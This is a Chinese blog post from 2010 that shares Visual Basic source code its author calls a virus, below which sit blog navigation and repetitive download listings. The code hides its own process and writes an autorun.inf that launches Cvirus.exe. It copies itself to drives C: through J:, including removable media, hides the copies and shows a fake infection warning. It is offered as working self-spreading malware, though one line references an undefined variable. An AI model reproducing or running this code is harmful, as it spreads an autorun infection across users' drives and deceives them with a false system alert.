- 浏览: 15087 次
最新评论
VB编程
2010年05月13日
正在工作中,,,,,,有空就写入我最近编写的病毒源代码.解释下,此病毒属于自动制造垃圾到各个盘(电脑硬盘CDEF等等,也可以制造到可移动的U盘,MP3,MP4,移动硬盘等)
我是 CRole
大家一起学习VB
以下是 代码:
Sub Main()
App.TaskVisible = False '隐藏进程
On Error Resume Next
Open App.Path & "autorun.inf" For Output As #1
Print #1, "[AutoRun]"
Print #1, "open = Cvirus.exe"
Print #1, "shellexecute = Cvirus.exe"
Print #1, "shell\Auto\commang = Cvirus.exe"
Close #1
'========================================
Dim c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, _
c14, c15, c16, c17, c18, c19, c20, c21, c22, c23, c24, c25, _
c26, c27, c28, c29, c30, c31, c32, c33, c34, c35, c36, c37, c38, c39, c40
'----------------------------------------在C盘生成空的Cvirus.exe文件
c1 = App.Path & "\Cvirus.exe"
c2 = "c:\Cvirus.exe"
FileCopy c1, c2
'----------------------------------------在C盘生成autorun.inf文件
c3 = App.Path & "\autorun.inf"
c4 = "c:\autorun.inf"
FileCopy c3, c4
'----------------------------------------在D盘生成空的Cvirus.exe文件
c5 = App.Path & "\Cvirus.exe"
c6 = "d:\Cvirus.exe"
FileCopy c5, c6
'----------------------------------------在D盘生成autorun.inf文件
c7 = App.Path & "\autorun.inf"
c8 = "d:\autorun.inf"
FileCopy c7, c8
'----------------------------------------在E盘生成空的Cvirus.exe文件
c9 = App.Path & "\Cvirus.exe"
c10 = "e:\Cvirus.exe"
FileCopy c9, c10
'----------------------------------------在E盘生成autorun.inf文件
c11 = App.Path & "\autorun.inf"
c12 = "e:\autorun.inf"
FileCopy c11, c12
'----------------------------------------在F盘生成空的Cvirus.exe文件
c13 = App.Path & "\Cvirus.exe"
c14 = "f:\Cvirus.exe"
FileCopy c13, c14
'----------------------------------------在F盘生成autorun.inf文件
c15 = App.Path & "\autorun.inf"
c16 = "f:\autorun.inf"
FileCopy c15, c16
'----------------------------------------在G盘生成空的Cvirus.exe文件
c17 = App.Path & "\Cvirus.exe"
c18 = "g:\Cvirus.exe"
FileCopy c17, c18
'----------------------------------------在G盘生成autorun.inf文件
c19 = App.Path & "\autorun.inf"
c20 = "g:\autorun.inf"
FileCopy c19, c20
'----------------------------------------在H盘生成空的Cvirus.exe文件
c21 = App.Path & "\Cvirus.exe"
c22 = "h:\Cvirus.exe"
FileCopy c21, c22
'----------------------------------------在H盘生成autorun.inf文件
c23 = App.Path & "\autorun.inf"
c24 = "h:\autorun.inf"
FileCopy c123, c24
'----------------------------------------在I盘生成空的Cvirus.exe文件
c25 = App.Path & "\Cvirus.exe"
c26 = "i:\Cvirus.exe"
FileCopy c25, c26
'----------------------------------------在I盘生成autorun.inf文件
c27 = App.Path & "\autorun.inf"
c28 = "i:\autorun.inf"
FileCopy c27, c28
'----------------------------------------在J盘生成空的Cvirus.exe文件
c29 = App.Path & "\Cvirus.exe"
c30 = "j:\Cvirus.exe"
FileCopy c29, c30
'----------------------------------------在J盘生成autorun.inf文件
c31 = App.Path & "\autorun.inf"
c32 = "j:\autorun.inf"
FileCopy c31, c32
'----------------------------------------隐藏所有生成的文件
Call SetAttr(App.Path & "\Cvirus.exe", vbHidden)
Call SetAttr(App.Path & "\autorun.inf", vbHidden)
Call SetAttr("c:\Cvirus.exe", vbHidden)
Call SetAttr("c:\autorun.inf", vbHidden)
Call SetAttr("d:\Cvirus.exe", vbHidden)
Call SetAttr("d:\autorun.inf", vbHidden)
Call SetAttr("e:\Cvirus.exe", vbHidden)
Call SetAttr("e:\autorun.inf", vbHidden)
Call SetAttr("f:\Cvirus.exe", vbHidden)
Call SetAttr("f:\autorun.inf", vbHidden)
Call SetAttr("g:\Cvirus.exe", vbHidden)
Call SetAttr("g:\autorun.inf", vbHidden)
Call SetAttr("h:\Cvirus.exe", vbHidden)
Call SetAttr("h:\autorun.inf", vbHidden)
Call SetAttr("i:\Cvirus.exe", vbHidden)
Call SetAttr("i:\autorun.inf", vbHidden)
Call SetAttr("j:\Cvirus.exe", vbHidden)
Call SetAttr("j:\autorun.inf", vbHidden)
If MsgBox("警告:您的计算机受到了病毒的入侵是否立即进行杀毒!", vbQuestion + vbYesNo, "系统提示") = vbYes Then
Form1.Show
End If
End Sub
===========================================================
发表评论
-
Linux使用Eclipse + CDT开发C/C++程序(转)
2012-01-20 09:51 699Linux使用Eclipse + CDT开发C/C++程序(转 ... -
Thrift 是什么?
2012-01-20 09:51 588Thrift 是什么? 2011年03月19日 Thri ... -
请帮助和关心Unix-Center
2012-01-20 09:51 554请帮助和关心Unix-Center ... -
Projects or Libs(Updated: 2010-6-7)
2012-01-20 09:51 1412Projects or Libs(Updated: 2010- ... -
Java永远学不完的,放这里慢慢学
2012-01-20 09:51 981Java永远学不完的,放这 ... -
创建文本文件的两种方法
2012-01-19 14:57 1172创建文本文件的两种方 ... -
如何让AD用户密码在快过期时,发邮件提醒用户更改密码
2012-01-19 14:57 975如何让AD用户密码在快过期时,发邮件提醒用户更改密码 201 ... -
书80~81页代码
2012-01-19 14:57 404书80~81页代码 2011年04月20日 read.a ... -
VBscript+Asp脚本(14)
2012-01-19 14:57 687VBscript+Asp脚本(14) 2011年07月15日 ... -
西湖教育给予我的思考
2012-01-19 14:57 629西湖教育给予我的思考 ... -
Android ---- 概述
2012-01-17 04:39 631Android ---- 概述 2011年08月28日 ... -
QtEmbedded开发介绍之配置参数篇下
2012-01-17 04:39 550QtEmbedded开发介绍之配置 ... -
在Ubuntu Linux系统下用Wine玩魔兽世界
2012-01-17 04:39 1043在Ubuntu Linux系统下用Wine玩魔兽世界 201 ... -
system32文件夹里的文件详解
2012-01-17 04:39 809system32文件夹里的文件详解 2011年05月23日 ... -
FLTK简介
2012-01-17 04:39 593FLTK简介 2011年11月22日 ... -
VB制作游戏双开器
2012-01-16 03:33 1023VB制作游戏双开器 2010年05月24日 VB制作游戏 ... -
暂时放一放./..脑子要炸了
2012-01-16 03:33 540暂时放一放./..脑子要炸了 2010年11月10日 f ... -
vb 如果让系统不能结束你的进程
2012-01-16 03:33 745vb 如果让系统不能结束你的进程 2009年12月25日 ... -
几个代码VB
2012-01-16 03:33 589几个代码VB 2009年07月15日 现在看VB感觉越来 ...
相关推荐
VB编程源代码 50在系统托盘中增加一个光驱按钮VB编程源代码 50在系统托盘中增加一个光驱按钮VB编程源代码 50在系统托盘中增加一个光驱按钮VB编程源代码 50在系统托盘中增加一个光驱按钮VB编程源代码 50在系统托盘中...
VB编程助手版 VB编程助手版 VB编程助手版 VB编程助手版
VB编程经验手册VB编程经验手册VB编程经验手册VB编程经验手册VB编程经验手册
VB编程指南VB编程指南VB编程指南VB编程指南VB编程指南VB编程指南
vb编程实例的电子书chm
本书是学习VB编程的一本很好的教材,它侧重于用实例讲解如何编写一些高级的VB程序,如“用VB6.0实现动态增减控件”、“用VB制作即时动态按钮”等,特别对高级编程人员进一步提高自己的能力有很大的好处,同时由于书...
机械工程力学应用计算与VB编程实例(源程序).rar
VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90监视程序VB编程源代码 90...
VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67拨号上网VB编程源代码 67...
VB编程入门教程
VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44旋转文字VB编程源代码 44...
VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07悬浮窗体VB编程源代码 07...
VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02图形窗体VB编程源代码 02...
VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源代码 56收发电子邮件VB编程源...
VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源代码 86启动控制面板VB编程源...
VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,VB 编程词典,所上传的都是TXT 百度云链接
VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换中文输入法VB编程源代码 76在VB中切换...
VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93鼠标取词VB编程源代码 93...
VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源代码 47完全测试声卡VB编程源...